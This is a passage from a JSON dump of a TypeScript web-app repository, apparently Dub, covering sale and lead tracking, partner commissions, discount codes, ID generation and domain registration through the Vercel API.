event might come from a different link click than the original lead event.\n    // We want to attribute the sale to the correct link (the one from the clickId) for direct sale tracking.\n    if (leadEventData) {\n      leadEventData = {\n        ...leadEventData,\n        ...clickData,\n      };\n    }\n  }\n\n  // If no existing customer is found and a click event is found, create a new customer (for direct sale tracking)\n  if (!existingCustomer && clickData) {\n    // Create a new customer\n    const link = await prisma.link.findUnique({\n      where: {\n        id: clickData.link_id,\n      },\n      select: {\n        id: true,\n        projectId: true,\n        disabledAt: true,\n      },\n    });\n\n    if (!link) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Link not found for clickId: ${clickData.click_id}`,\n      });\n    }\n\n    if (link.projectId !== workspace.id) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Link ${link.id} for clickId ${clickData.click_id} does not belong to the workspace`,\n      });\n    }\n\n    if (link.disabledAt) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `Link ${link.id} for clickId ${clickData.click_id} is disabled, sale not tracked`,\n      });\n    }\n\n    const finalCustomerId = createId({ prefix: \"cus_\" });\n    const finalCustomerName =\n      customerName || customerEmail || generateRandomName();\n    const finalCustomerAvatar =\n      customerAvatar && !isStored(customerAvatar)\n        ? `${R2_URL}/customers/${finalCustomerId}/avatar_${nanoid(7)}`\n        : customerAvatar;\n\n    newCustomer = await prisma.customer.create({\n      data: {\n        id: finalCustomerId,\n        name: finalCustomerName,\n        email: customerEmail,\n        avatar: finalCustomerAvatar,\n        externalId: customerExternalId,\n        linkId: clickData.link_id,\n        clickId: clickData.click_id,\n        country: clickData.country,\n        projectId: workspace.id,\n        projectConnectId: workspace.stripeConnectId,\n        clickedAt: new Date(clickData.timestamp + \"Z\"),\n      },\n    });\n\n    if (customerAvatar && !isStored(customerAvatar) && finalCustomerAvatar) {\n      // persist customer avatar to R2 if it's not already stored\n      waitUntil(\n        storage\n          .upload({\n            key: finalCustomerAvatar.replace(`${R2_URL}/`, \"\"),\n            body: customerAvatar,\n            opts: {\n              width: 128,\n              height: 128,\n            },\n          })\n          .catch(async (error) => {\n            console.error(\"Error persisting customer avatar to R2\", error);\n            // if the avatar fails to upload to R2, set the avatar to null in the database\n            if (newCustomer) {\n              await prisma.customer.update({\n                where: { id: newCustomer.id },\n                data: { avatar: null },\n              });\n            }\n          }),\n      );\n    }\n\n    leadEventData = {\n      ...clickData,\n      event_id: nanoid(16),\n      // if leadEventName is provided, use it\n      // otherwise use \"Direct sale tracking lead event\" (since it's for direct sale tracking)\n      event_name: leadEventName ?? \"Direct sale tracking lead event\",\n      customer_id: newCustomer.id,\n      metadata: metadata ? JSON.stringify(metadata) : \"\",\n    };\n  }\n\n  const customer = existingCustomer ?? newCustomer;\n\n  // This should never happen, but just in case\n  if (!customer) {\n    waitUntil(\n      logConversionEvent({\n        workspace_id: workspace.id,\n        path: \"/track/sale\",\n        body: JSON.stringify(rawBody),\n        error: `Customer not found for customerExternalId: ${customerExternalId}`,\n      }),\n    );\n\n    return {\n      eventName,\n      customer: null,\n      sale: null,\n    };\n  }\n\n  const [_, trackedSale] = await Promise.all([\n    newCustomer &&\n      _trackLead({\n        workspace,\n        leadEventData,\n        customer: newCustomer,\n      }),\n\n    _trackSale({\n      amount,\n      currency,\n      eventName,\n      paymentProcessor,\n      invoiceId,\n      metadata,\n      rawBody,\n      workspace,\n      leadEventData,\n      customer,\n      source,\n    }),\n  ]);\n\n  return trackedSale;\n};\n\n// Track the lead event\nconst _trackLead = async ({\n  workspace,\n  leadEventData,\n  customer,\n}: Pick<TrackSaleParams, \"workspace\"> & {\n  leadEventData: LeadEventTB | null;\n  customer: Customer;\n}) => {\n  if (!leadEventData) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Lead event data not found for the customer ${customer.id}`,\n    });\n  }\n\n  waitUntil(\n    (async () => {\n      const [_leadEvent, link, _workspace] = await Promise.all([\n        // Record the lead event for the customer\n        recordLead({\n          ...leadEventData,\n          workspace_id: leadEventData.workspace_id || workspace.id, // in case for some reason the lead event doesn't have workspace_id\n        }),\n\n        // Update link leads count + lastLeadAt date\n        prisma.link.update({\n          where: {\n            id: leadEventData.link_id,\n          },\n          data: {\n            leads: {\n              increment: 1,\n            },\n            lastLeadAt: new Date(),\n          },\n          include: includeTags,\n        }),\n\n        // Update workspace events usage\n        prisma.project.update({\n          where: {\n            id: workspace.id,\n          },\n          data: {\n            usage: {\n              increment: 1,\n            },\n          },\n        }),\n      ]);\n\n      // Create partner commission and execute workflows\n      if (link.programId && link.partnerId && customer) {\n        await Promise.allSettled([\n          executeWorkflows({\n            trigger: \"partnerMetricsUpdated\",\n            reason: \"lead\",\n            identity: {\n              workspaceId: workspace.id,\n              programId: link.programId,\n              partnerId: link.partnerId,\n            },\n            metrics: {\n              current: {\n                leads: 1,\n              },\n            },\n          }),\n\n          syncPartnerLinksStats({\n            partnerId: link.partnerId,\n            programId: link.programId,\n            eventType: \"lead\",\n          }),\n        ]);\n      }\n\n      await Promise.allSettled([\n        sendWorkspaceWebhook({\n          trigger: \"lead.created\",\n          data: transformLeadEventData({\n            ...leadEventData,\n            link,\n            customer,\n          }),\n          workspace,\n        }),\n\n        ...(link.partnerId\n          ? [\n              sendPartnerPostback({\n                partnerId: link.partnerId,\n                event: \"lead.created\",\n                data: {\n                  ...leadEventData,\n                  link,\n                  customer,\n                },\n              }),\n            ]\n          : []),\n      ]);\n    })(),\n  );\n};\n\n// Track the sale event\nconst _trackSale = async ({\n  amount,\n  currency = \"usd\",\n  eventName,\n  paymentProcessor,\n  invoiceId,\n  metadata,\n  rawBody,\n  workspace,\n  leadEventData,\n  customer,\n  source,\n}: Omit<TrackSaleParams, \"customerExternalId\"> & {\n  leadEventData: LeadEventTB | null;\n  customer: Customer;\n}) => {\n  if (!leadEventData) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Lead event data not found for the customer ${customer.id}`,\n    });\n  }\n\n  // Skip if amount is 0 or less\n  if (amount <= 0) {\n    waitUntil(\n      logConversionEvent({\n        workspace_id: workspace.id,\n        path: \"/track/sale\",\n        body: JSON.stringify(rawBody),\n        error: `Sale amount is ${amount}, skipping...`,\n      }),\n    );\n\n    return {\n      eventName,\n      customer: null,\n      sale: null,\n    };\n  }\n\n  // if currency is not USD, convert it to USD based on the current FX rate\n  // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n  if (currency !== \"usd\") {\n    const { currency: convertedCurrency, amount: convertedAmount } =\n      await convertCurrency({\n        currency,\n        amount,\n      });\n\n    currency = convertedCurrency;\n    amount = convertedAmount;\n  }\n\n  const saleData = {\n    ...leadEventData,\n    workspace_id: leadEventData.workspace_id || workspace.id, // in case for some reason the lead event doesn't have workspace_id\n    event_id: nanoid(16),\n    event_name: eventName,\n    customer_id: customer.id,\n    payment_processor: paymentProcessor,\n    amount,\n    currency,\n    invoice_id: invoiceId || \"\",\n    metadata: metadata ? JSON.stringify(metadata) : \"\",\n  };\n\n  const firstConversionFlag = isFirstConversion({\n    customer,\n    linkId: saleData.link_id,\n  });\n\n  waitUntil(\n    (async () => {\n      const [_sale, link] = await Promise.all([\n        // Record sale event\n        recordSale({\n          ...saleData,\n          timestamp: undefined,\n        }),\n\n        // Update link conversions, sales, and saleAmount\n        prisma.link.update({\n          where: {\n            id: saleData.link_id,\n          },\n          data: {\n            ...(firstConversionFlag && {\n              conversions: {\n                increment: 1,\n              },\n              lastConversionAt: new Date(),\n            }),\n            sales: {\n              increment: 1,\n            },\n            saleAmount: {\n              increment: amount,\n            },\n          },\n          include: includeTags,\n        }),\n\n        // Update workspace events usage\n        prisma.project.update({\n          where: {\n            id: workspace.id,\n          },\n          data: {\n            usage: {\n              increment: 1,\n            },\n          },\n        }),\n\n        // Log conversion event\n        logConversionEvent({\n          workspace_id: workspace.id,\n          link_id: saleData.link_id,\n          path: \"/track/sale\",\n          body: JSON.stringify(rawBody),\n        }),\n      ]);\n\n      let createdCommission:\n        | Awaited<ReturnType<typeof createPartnerCommission>>\n        | undefined = undefined;\n\n      // Create partner commission and execute workflows\n      if (link.programId && link.partnerId) {\n        createdCommission = await createPartnerCommission({\n          event: \"sale\",\n          programId: link.programId,\n          partnerId: link.partnerId,\n          linkId: link.id,\n          customerId: customer.id,\n          eventId: saleData.event_id,\n          amount: saleData.amount,\n          quantity: 1,\n          invoiceId,\n          currency,\n          context: {\n            customer: {\n              country: customer.country,\n              signupDate: customer.createdAt,\n              source,\n            },\n            sale: {\n              productId: metadata?.productId,\n              amount: saleData.amount,\n            },\n          },\n        });\n\n        const { webhookPartner, programEnrollment } = createdCommission;\n\n        await Promise.allSettled([\n          executeWorkflows({\n            trigger: \"partnerMetricsUpdated\",\n            reason: \"sale\",\n            identity: {\n              workspaceId: workspace.id,\n              programId: link.programId,\n              partnerId: link.partnerId,\n            },\n            metrics: {\n              current: {\n                saleAmount: saleData.amount,\n                conversions: firstConversionFlag ? 1 : 0,\n              },\n            },\n          }),\n\n          syncPartnerLinksStats({\n            partnerId: link.partnerId,\n            programId: link.programId,\n            eventType: \"sale\",\n          }),\n\n          webhookPartner &&\n            detectAndRecordFraudEvent({\n              program: { id: link.programId },\n              partner: pick(webhookPartner, [\"id\", \"email\", \"name\"]),\n              programEnrollment: pick(programEnrollment, [\"status\"]),\n              customer: {\n                ...pick(customer, [\"id\", \"email\", \"name\"]),\n                isFirstConversion: firstConversionFlag,\n              },\n              link: pick(link, [\"id\"]),\n              click: pick(saleData, [\"url\", \"referer\"]),\n              event: { id: saleData.event_id },\n            }),\n        ]);\n      }\n\n      await Promise.allSettled([\n        sendWorkspaceWebhook({\n          trigger: \"sale.created\",\n          data: transformSaleEventData({\n            ...saleData,\n            clickedAt: customer.clickedAt || customer.createdAt,\n            link,\n            customer,\n            partner: createdCommission?.webhookPartner,\n            metadata,\n          }),\n          workspace,\n        }),\n\n        ...(link.partnerId\n          ? [\n              sendPartnerPostback({\n                partnerId: link.partnerId,\n                event: \"sale.created\",\n                data: {\n                  ...saleData,\n                  clickedAt: customer.clickedAt || customer.createdAt,\n                  link,\n                  customer,\n                },\n              }),\n            ]\n          : []),\n      ]);\n\n      // Update customer stats + program/partner associations\n      await prisma.customer.update({\n        where: {\n          id: customer.id,\n        },\n        data: {\n          ...(link.programId && {\n            programId: link.programId,\n          }),\n          ...(link.partnerId && {\n            partnerId: link.partnerId,\n          }),\n          sales: {\n            increment: 1,\n          },\n          saleAmount: {\n            increment: amount,\n          },\n          firstSaleAt: customer.firstSaleAt ? undefined : new Date(),\n        },\n      });\n    })(),\n  );\n\n  const trackSaleResponse = trackSaleResponseSchema.parse({\n    eventName,\n    customer,\n    sale: {\n      amount,\n      currency,\n      invoiceId,\n      paymentProcessor,\n      metadata,\n    },\n  });\n\n  if (invoiceId) {\n    waitUntil(\n      redis.set(\n        `trackSale:${workspace.id}:invoiceId:${invoiceId}`,\n        trackSaleResponse,\n        {\n          ex: 60 * 60 * 24 * 7, // cache for 1 week\n        },\n      ),\n    );\n  }\n\n  return trackSaleResponse;\n};\n"
  },
  {
    "path": "apps/web/lib/api/cors.ts",
    "content": "export const COMMON_CORS_HEADERS = new Headers({\n  \"Access-Control-Allow-Origin\": \"*\",\n  \"Access-Control-Allow-Methods\": \"POST, OPTIONS\",\n  \"Access-Control-Allow-Headers\": \"Content-Type, Authorization\",\n});\n"
  },
  {
    "path": "apps/web/lib/api/create-downloadable-export.ts",
    "content": "import { storage } from \"../storage\";\n\ninterface CreateDownloadableExportOptions {\n  fileKey: string;\n  fileName: string;\n  body: string;\n  contentType: string;\n}\n\nconst expiresIn = 7 * 24 * 3600; // 7 days\n\n// Upload the .csv file to R2 and return a signed link to download it\nexport async function createDownloadableExport({\n  fileKey,\n  fileName,\n  body,\n  contentType,\n}: CreateDownloadableExportOptions) {\n  const blob = new Blob([body], { type: contentType });\n\n  // Upload\n  const uploadResult = await storage.upload({\n    key: fileKey,\n    body: blob,\n    bucket: \"private\",\n    opts: {\n      contentType,\n      headers: {\n        \"Content-Disposition\": `attachment; filename=\"${fileName}\"`,\n      },\n    },\n  });\n\n  if (!uploadResult?.url) {\n    throw new Error(`Failed to upload ${contentType} file.`);\n  }\n\n  // Generate a signed download URL\n  const downloadUrl = await storage.getSignedDownloadUrl({\n    key: fileKey,\n    expiresIn,\n  });\n\n  if (!downloadUrl) {\n    throw new Error(\"Failed to generate signed download URL.\");\n  }\n\n  return {\n    fileKey,\n    downloadUrl,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/create-id.ts",
    "content": "import baseX from \"base-x\";\nimport crypto from \"crypto\";\n\nconst prefixes = [\n  \"ws_\", // workspace\n  \"user_\", // user\n  \"link_\", // link\n  \"tag_\", // tag\n  \"fold_\", // folder\n  \"dom_\", // domain\n  \"po_\", // payout\n  \"dash_\", // dashboard\n  \"int_\", // integration\n  \"app_\", // oauth app\n  \"cus_\", // customer\n  \"utm_\", // utm template\n  \"wh_\", // webhook\n  \"pn_\", // partner\n  \"dpn_\", // discovered partner\n  \"prog_\", // program\n  \"pga_\", // program application\n  \"pgi_\", // program invitation\n  \"pge_\", // program enrollment\n  \"pgr_\", // program resources\n  \"pgdl_\", // program group default link\n  \"inv_\", // invoice\n  \"cm_\", // commission\n  \"rw_\", // reward\n  \"disc_\", // discount\n  \"dcode_\", // discount code\n  \"dub_embed_\", // dub embed\n  \"audit_\", // audit log\n  \"import_\", // import log\n  \"grp_\", // group\n  \"bnty_\", // bounty\n  \"bnty_sub_\", // bounty submission\n  \"wf_\", // workflow\n  \"msg_\", // message\n  \"em_\", // notification email,\n  \"cmp_\", // campaign\n  \"fr_\", // fraud rule\n  \"fre_\", // fraud event\n  \"frg_\", // fraud event group\n  \"ref_\", // referral\n  \"pb_\", // partner postback\n] as const;\n\n// ULID uses base32 encoding\nconst base32 = baseX(\"0123456789ABCDEFGHJKMNPQRSTVWXYZ\");\n\n// Creates a ULID-compatible buffer (48 bits timestamp + 80 bits randomness)\nfunction createULIDBuffer(): Uint8Array {\n  const buf = new Uint8Array(16); // 128 bits total\n\n  // Timestamp (48 bits = 6 bytes)\n  const timestamp = BigInt(Date.now());\n  buf[0] = Number((timestamp >> BigInt(40)) & BigInt(255));\n  buf[1] = Number((timestamp >> BigInt(32)) & BigInt(255));\n  buf[2] = Number((timestamp >> BigInt(24)) & BigInt(255));\n  buf[3] = Number((timestamp >> BigInt(16)) & BigInt(255));\n  buf[4] = Number((timestamp >> BigInt(8)) & BigInt(255));\n  buf[5] = Number(timestamp & BigInt(255));\n\n  // Randomness (80 bits = 10 bytes)\n  crypto.getRandomValues(buf.subarray(6));\n\n  return buf;\n}\n\n// Creates a unique, time-sortable ID with an optional prefix\nexport const createId = ({ prefix }: { prefix: (typeof prefixes)[number] }) => {\n  const buf = createULIDBuffer();\n  const id = base32.encode(buf);\n\n  return `${prefix}${id}`;\n};\n"
  },
  {
    "path": "apps/web/lib/api/customers/get-customer-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport { DubApiError } from \"../errors\";\nimport { CustomerWithLink } from \"./transform-customer\";\n\nexport const getCustomerOrThrow = async (\n  {\n    id,\n    workspaceId,\n  }: {\n    id: string;\n    workspaceId: string;\n  },\n  {\n    includeExpandedFields = false,\n  }: {\n    includeExpandedFields?: boolean;\n  } = {},\n): Promise<CustomerWithLink> => {\n  const customer = await prisma.customer.findUnique({\n    where: {\n      ...(id.startsWith(\"ext_\")\n        ? {\n            projectId_externalId: {\n              projectId: workspaceId,\n              externalId: id.replace(\"ext_\", \"\"),\n            },\n          }\n        : { id }),\n    },\n    ...(includeExpandedFields\n      ? {\n          include: {\n            link: true,\n            programEnrollment: {\n              include: {\n                partner: true,\n                discount: true,\n              },\n            },\n          },\n        }\n      : {}),\n  });\n\n  if (!customer || customer.projectId !== workspaceId) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message:\n        \"Customer not found. Make sure you're using the correct customer ID (e.g. `cus_3TagGjzRzmsFJdH8od2BNCsc`) or external ID (has to be prefixed with `ext_`).\",\n    });\n  }\n\n  if (!customer.avatar) {\n    customer.avatar = `${OG_AVATAR_URL}${customer.id}`;\n  }\n\n  return customer;\n};\n"
  },
  {
    "path": "apps/web/lib/api/customers/get-customer-stripe-invoices.ts",
    "content": "import { stripeAppClient } from \"@/lib/stripe\";\nimport { StripeCustomerInvoiceSchema } from \"@/lib/zod/schemas/customers\";\nimport { prisma } from \"@dub/prisma\";\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\nexport async function getCustomerStripeInvoices({\n  stripeCustomerId,\n  stripeConnectId,\n  programId,\n}: {\n  stripeCustomerId: string;\n  stripeConnectId: string;\n  programId: string;\n}) {\n  const { data } = await stripe.invoices.list(\n    {\n      customer: stripeCustomerId,\n      status: \"paid\",\n      limit: 100,\n    },\n    {\n      stripeAccount: stripeConnectId,\n    },\n  );\n  const validInvoices = data.filter(\n    (invoice): invoice is (typeof data)[number] & { id: string } =>\n      typeof invoice.id === \"string\",\n  );\n\n  const commissions = await prisma.commission.findMany({\n    where: {\n      invoiceId: {\n        in: validInvoices.map((invoice) => invoice.id),\n      },\n      programId: programId,\n    },\n  });\n\n  const invoiceIdCommissionIdMap = commissions.reduce(\n    (acc, commission) => {\n      acc[commission.invoiceId!] = commission.id;\n      return acc;\n    },\n    {} as Record<string, string>,\n  );\n\n  const stripeCustomerInvoices = validInvoices.map((invoice) =>\n    StripeCustomerInvoiceSchema.parse({\n      id: invoice.id,\n      amount: invoice.amount_paid,\n      createdAt: new Date(invoice.created * 1000),\n      metadata: invoice,\n      dubCommissionId: invoiceIdCommissionIdMap[invoice.id],\n    }),\n  );\n\n  return stripeCustomerInvoices;\n}\n"
  },
  {
    "path": "apps/web/lib/api/customers/transform-customer.ts",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport {\n  Customer,\n  Discount,\n  Link,\n  Partner,\n  ProgramEnrollment,\n} from \"@dub/prisma/client\";\n\nexport interface CustomerWithLink extends Customer {\n  link?: Link | null;\n  programEnrollment?:\n    | (ProgramEnrollment & {\n        partner: Partner;\n        discount?: Discount | null;\n      })\n    | null;\n}\n\nexport const transformCustomer = (customer: CustomerWithLink) => {\n  const programEnrollment = customer.programEnrollment;\n\n  return {\n    ...customer,\n    name: customer.name || customer.email || generateRandomName(),\n    link: customer.link || undefined,\n    programId: programEnrollment?.programId || undefined,\n    partner: programEnrollment?.partner || undefined,\n    discount: programEnrollment?.discount || undefined,\n  };\n};\n\nexport const transformCustomerForCommission = (customer?: Customer | null) => {\n  if (!customer) {\n    return customer;\n  }\n\n  return {\n    ...customer,\n    name: customer.name || customer.email || generateRandomName(),\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/api/discounts/construct-discount-code.ts",
    "content": "import { Discount, Partner } from \"@dub/prisma/client\";\n\nexport function constructDiscountCode({\n  partner,\n  discount,\n}: {\n  partner: Pick<Partner, \"name\">;\n  discount: Pick<Discount, \"amount\" | \"type\">;\n}) {\n  const amount = Math.round(\n    discount.type === \"percentage\" ? discount.amount : discount.amount / 100,\n  );\n\n  const [firstName] = partner.name.trim().toUpperCase().split(\" \");\n\n  // Stripe promotion codes only allow alphanumeric characters and dashes\n  const sanitized = firstName?.replace(/[^A-Z0-9\\-_]/g, \"\") || \"\";\n  const prefix = sanitized || \"PARTNER\";\n\n  // account for edge case where the amount is 0\n  return `${prefix}${amount > 0 ? `${amount}OFF` : \"\"}`;\n}\n"
  },
  {
    "path": "apps/web/lib/api/discounts/create-discount-code.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { createStripeDiscountCode } from \"@/lib/stripe/create-stripe-discount-code\";\nimport { prisma } from \"@dub/prisma\";\nimport { Discount, Link, Partner } from \"@dub/prisma/client\";\nimport { constructDiscountCode } from \"./construct-discount-code\";\n\nexport async function createDiscountCode({\n  stripeConnectId,\n  partner,\n  link,\n  discount,\n  code,\n}: {\n  stripeConnectId: string;\n  partner: Pick<Partner, \"id\" | \"name\">;\n  link: Pick<Link, \"id\">;\n  discount: Pick<Discount, \"id\" | \"programId\" | \"couponId\" | \"amount\" | \"type\">;\n  code?: string;\n}) {\n  let finalCode = code;\n\n  // Construct the discount code if no code is provided\n  if (!finalCode) {\n    finalCode = constructDiscountCode({\n      partner,\n      discount,\n    });\n  }\n\n  const stripeDiscountCode = await createStripeDiscountCode({\n    stripeConnectId,\n    discount,\n    code: finalCode,\n    shouldRetry: code ? false : true,\n  });\n\n  const discountCode = await prisma.discountCode.create({\n    data: {\n      id: createId({ prefix: \"dcode_\" }),\n      code: stripeDiscountCode.code,\n      programId: discount.programId,\n      partnerId: partner.id,\n      linkId: link.id,\n      discountId: discount.id,\n    },\n  });\n\n  console.log(\n    `Created discount code ${discountCode.code} for the link ${link.id}.`,\n  );\n\n  return discountCode;\n}\n"
  },
  {
    "path": "apps/web/lib/api/discounts/delete-discount-code.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { DiscountCode } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK, chunk } from \"@dub/utils\";\n\nconst queue = qstash.queue({\n  queueName: \"delete-discount-code\",\n});\n\ntype DiscountCodePayload = Pick<DiscountCode, \"id\" | \"code\" | \"programId\">;\n\ntype DeleteDiscountCodesParams =\n  | DiscountCodePayload\n  | (DiscountCodePayload | null | undefined)[];\n\n// Triggered in the following cases:\n// 1. When a discount is deleted\n// 2. When a link is deleted that has a discount code associated with it\n// 3. When partners are banned / deactivated\n// 4. When a partner is moved to a different group\nexport async function deleteDiscountCodes(input: DeleteDiscountCodesParams) {\n  const raw = Array.isArray(input) ? input : [input];\n  const discountCodes = raw.filter(\n    (dc): dc is NonNullable<typeof dc> => dc != null,\n  );\n\n  if (discountCodes.length === 0) {\n    return;\n  }\n\n  // Delete the discount codes from the database\n  const deletedDiscountCodes = await prisma.discountCode.deleteMany({\n    where: {\n      id: {\n        in: discountCodes.map(({ id }) => id),\n      },\n    },\n  });\n\n  console.log(\n    `Deleted ${deletedDiscountCodes.count} discount codes.`,\n    discountCodes.map(({ id, code }) => ({ id, code })),\n  );\n\n  // Queue the job to remove the discount codes from Stripe\n  const chunks = chunk(discountCodes, 100);\n\n  for (const chunkOfCodes of chunks) {\n    await Promise.allSettled(\n      chunkOfCodes.map((discountCode) =>\n        queue.enqueueJSON({\n          url: `${APP_DOMAIN_WITH_NGROK}/api/cron/discount-codes/delete`,\n          method: \"POST\",\n          body: {\n            code: discountCode.code,\n            programId: discountCode.programId,\n          },\n        }),\n      ),\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/discounts/is-discount-equivalent.ts",
    "content": "import { Discount } from \"@dub/prisma/client\";\n\nexport function isDiscountEquivalent(\n  firstDiscount: Discount | null | undefined,\n  secondDiscount: Discount | null | undefined,\n): boolean {\n  if (!firstDiscount || !secondDiscount) {\n    return false;\n  }\n\n  // If both groups use the same Stripe coupon\n  if (firstDiscount.couponId === secondDiscount.couponId) {\n    return true;\n  }\n\n  // If both discounts are effectively equivalent\n  if (\n    firstDiscount.amount === secondDiscount.amount &&\n    firstDiscount.type === secondDiscount.type &&\n    firstDiscount.maxDuration === secondDiscount.maxDuration\n  ) {\n    return true;\n  }\n\n  return false;\n}\n"
  },
  {
    "path": "apps/web/lib/api/domains/add-domain-vercel.ts",
    "content": "import { getApexDomain, getDomainWithoutWWW } from \"@dub/utils\";\nimport { getVercelDomainResponse } from \"./get-domain-response\";\nimport { CustomResponse } from \"./utils\";\n\nexport const addDomainToVercel = async (\n  domain: string,\n  {\n    redirectToApex,\n  }: {\n    redirectToApex?: boolean;\n  } = {},\n): Promise<CustomResponse> => {\n  domain = domain.toLowerCase();\n\n  const apexDomain = getApexDomain(`https://${domain}`);\n  if (apexDomain !== domain) {\n    const wildcardDomain = `*.${apexDomain}`;\n    const wildcardResponse = await getVercelDomainResponse(wildcardDomain);\n    if (wildcardResponse.verified) {\n      return wildcardResponse;\n    }\n  }\n  return await fetch(\n    `https://api.vercel.com/v10/projects/${process.env.PROJECT_ID_VERCEL}/domains?teamId=${process.env.TEAM_ID_VERCEL}`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        name: domain,\n        ...(redirectToApex && {\n          redirect: getDomainWithoutWWW(domain),\n        }),\n      }),\n    },\n  ).then((res) => res.json());\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/claim-dot-link-domain.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { createLink } from \"@/lib/api/links\";\nimport { registerDomain } from \"@/lib/dynadot/register-domain\";\nimport { WorkspaceWithUsers } from \"@/lib/types\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport DomainClaimed from \"@dub/email/templates/domain-claimed\";\nimport { prisma } from \"@dub/prisma\";\nimport { DEFAULT_LINK_PROPS } from \"@dub/utils\";\nimport { get } from \"@vercel/edge-config\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { addDomainToVercel } from \"./add-domain-vercel\";\nimport { configureVercelNameservers } from \"./configure-vercel-nameservers\";\nimport { markDomainAsDeleted } from \"./mark-domain-deleted\";\n\nexport async function claimDotLinkDomain({\n  domain,\n  workspace,\n  userId,\n  skipWorkspaceChecks = false,\n}: {\n  domain: string;\n  workspace: WorkspaceWithUsers;\n  userId: string;\n  skipWorkspaceChecks?: boolean; // when used in /api/domains/register\n}) {\n  if (!skipWorkspaceChecks) {\n    if (workspace.plan === \"free\")\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Free workspaces cannot register .link domains.\",\n      });\n\n    if (!workspace.stripeId) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You cannot register a .link domain on a free trial.\",\n      });\n    }\n\n    if (workspace.dotLinkClaimed) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You are limited to one free .link domain per workspace.\",\n      });\n    }\n  }\n\n  const customDomainTerms = await get(\"customDomainTerms\");\n\n  if (customDomainTerms && Array.isArray(customDomainTerms)) {\n    const customDomainTermsRegex = new RegExp(\n      customDomainTerms\n        .map((term: string) => term.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\")) // replace special characters with escape sequences\n        .join(\"|\"),\n    );\n\n    if (customDomainTermsRegex.test(domain)) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Domain is not allowed.\",\n      });\n    }\n  }\n\n  const [response, totalDomains, matchingUnverifiedDomain] = await Promise.all([\n    // register the domain\n    registerDomain({ domain }),\n\n    // count the number of domains in the workspace\n    prisma.domain.count({\n      where: {\n        projectId: workspace.id,\n      },\n    }),\n\n    // find the unverified domain that matches the domain\n    prisma.domain.findFirst({\n      where: {\n        slug: domain,\n        verified: false,\n      },\n      include: {\n        registeredDomain: true,\n      },\n    }),\n  ]);\n\n  // if the domain was added to a different workspace but is not verified\n  // we should remove it to free up the domain for the current workspace\n  if (matchingUnverifiedDomain) {\n    const { slug } = matchingUnverifiedDomain;\n\n    await markDomainAsDeleted({\n      domain: slug,\n    });\n  }\n\n  await Promise.all([\n    // Create the workspace domain\n    prisma.domain.create({\n      data: {\n        projectId: workspace.id,\n        slug: domain,\n        verified: true,\n        lastChecked: new Date(),\n        primary: totalDomains === 0,\n        registeredDomain: {\n          create: {\n            slug: domain,\n            expiresAt: new Date(response.expiration || \"\"),\n            projectId: workspace.id,\n          },\n        },\n      },\n    }),\n\n    // Create the root link\n    createLink({\n      ...DEFAULT_LINK_PROPS,\n      domain,\n      key: \"_root\",\n      url: \"\",\n      tags: undefined,\n      userId: userId,\n      projectId: workspace.id,\n    }),\n  ]);\n\n  waitUntil(\n    Promise.all([\n      // add domain to Vercel + configure it to use Vercel nameservers\n      addDomainToVercel(domain).then(() => configureVercelNameservers(domain)),\n\n      // send email to workspace owners\n      !skipWorkspaceChecks\n        ? sendDomainClaimedEmails({ workspace, domain })\n        : Promise.resolve(),\n\n      // update workspace to set dotLinkClaimed to true\n      prisma.project.update({\n        where: {\n          id: workspace.id,\n        },\n        data: {\n          dotLinkClaimed: true,\n        },\n      }),\n    ]),\n  );\n\n  return response;\n}\n\nexport const sendDomainClaimedEmails = async ({\n  workspace,\n  domain,\n}: {\n  workspace: Pick<WorkspaceWithUsers, \"id\" | \"slug\">;\n  domain: string;\n}) => {\n  const workspaceWithOwner = await prisma.project.findUniqueOrThrow({\n    where: {\n      id: workspace.id,\n    },\n    include: {\n      users: {\n        where: {\n          role: \"owner\",\n        },\n        select: {\n          user: true,\n        },\n      },\n    },\n  });\n\n  return await sendBatchEmail(\n    workspaceWithOwner.users.map(({ user }) => ({\n      variant: \"notifications\",\n      to: user.email!,\n      subject: \"Successfully claimed your .link domain!\",\n      react: DomainClaimed({\n        email: user.email!,\n        domain,\n        workspaceSlug: workspace.slug,\n      }),\n    })),\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/configure-vercel-nameservers.ts",
    "content": "import { CustomResponse } from \"./utils\";\n\nexport const configureVercelNameservers = async (\n  domain: string,\n): Promise<CustomResponse> => {\n  return await fetch(\n    `https://api.vercel.com/v3/domains/${domain}?teamId=${process.env.TEAM_ID_VERCEL}`,\n    {\n      method: \"PATCH\",\n      headers: {\n        Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        op: \"update\",\n        zone: true,\n      }),\n    },\n  ).then((res) => res.json());\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/get-config-response.ts",
